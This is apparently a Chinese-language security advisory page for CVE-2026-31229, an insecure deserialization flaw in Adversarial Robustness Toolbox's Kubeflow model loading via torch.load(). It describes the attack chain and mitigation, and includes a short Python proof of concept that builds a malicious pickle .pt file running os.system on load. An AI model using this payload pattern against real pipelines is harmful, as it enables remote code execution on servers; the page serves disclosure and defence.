IPBUF安全漏洞报告
English
CVE-2026-31229 CVSS 9.8 严重

CVE-2026-31229 ART不安全反序列化致RCE漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-31229
漏洞类型
不安全的反序列化
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Adversarial Robustness Toolbox (ART)

相关标签

RCE不安全的反序列化CWE-502Adversarial Robustness ToolboxPyTorchKubeflow

漏洞概述

Adversarial Robustness Toolbox (ART) 在 1.20.1 及之前版本中存在严重的不安全反序列化漏洞。该漏洞位于 Kubeflow 组件的模型加载功能中,由于在加载模型权重时使用了未设置安全限制的 `torch.load()`,攻击者可通过诱导系统加载恶意模型文件,利用 Python Pickle 模块反序列化任意对象,从而在服务器上执行任意代码。

技术细节

该漏洞的根本原因在于 ART 的 Kubeflow 组件在模型加载过程中的安全验证缺失。当系统处理模型权重文件(例如 .pt 格式)时,直接调用了 PyTorch 的 `torch.load()` 函数。默认情况下,该函数允许通过 Python 的 `pickle` 协议反序列化任意对象。攻击者利用这一特性,可以构建特制的恶意模型文件,其中嵌入了通过 `__reduce__` 方法定义的操作系统命令。攻击者只需将此文件上传至受控的对象存储位置,或修改管道参数指向恶意文件。一旦目标系统尝试加载该模型进行鲁棒性评估,恶意 Payload 便会在反序列化阶段自动执行,导致攻击者获得服务器控制权。由于无需用户交互且无需认证,该漏洞极易被自动化扫描工具利用。

攻击链分析

STEP 1
步骤1:恶意文件构造
攻击者利用 Python Pickle 模块特性,编写包含恶意代码(通过 __reduce__ 方法)的 Python 类,并将其序列化为 .pt 模型文件。
STEP 2
步骤2:投递恶意载荷
攻击者将生成的恶意模型文件上传到目标系统可访问的对象存储位置,或者通过控制 `model_id` 参数使管道指向该恶意文件。
STEP 3
步骤3:触发反序列化
当 ART 的 Kubeflow 流水线运行并执行鲁棒性评估时,调用 `torch.load()` 加载受污染的模型文件。
STEP 4
步骤4:执行代码
Pickle 反序列化过程自动触发 `__reduce__` 方法,在服务器上下文中执行任意系统命令,导致远程代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import os import pickle import torch # Define a malicious class that executes code upon deserialization class MaliciousPayload: def __reduce__(self): # Command to execute (e.g., create a file or run a shell script) return (os.system, ('touch /tmp/pwned_by_cve_2026_31229',)) # Create a malicious model file print("[+] Generating malicious model file: malicious_model.pt") with open('malicious_model.pt', 'wb') as f: pickle.dump(MaliciousPayload(), f) print("[+] Simulating loading the model with vulnerable torch.load()...") # This mimics the vulnerable code in ART try: # In a real scenario, this would be torch.load(model_path) # Here we demonstrate the deserialization trigger data = torch.load('malicious_model.pt') print("[-] Exploit executed!") except Exception as e: print(f"Error: {e}")

影响范围

Adversarial Robustness Toolbox (ART) <= 1.20.1

防御指南

临时缓解措施
建议立即升级至修复版本。若无法立即升级,应在代码层面强制启用 PyTorch 的安全加载模式(设置 `weights_only=True`),禁止加载包含任意 Python 对象的模型文件,仅允许加载张量数据。同时,严格限制对对象存储的写入权限,防止攻击者上传恶意文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表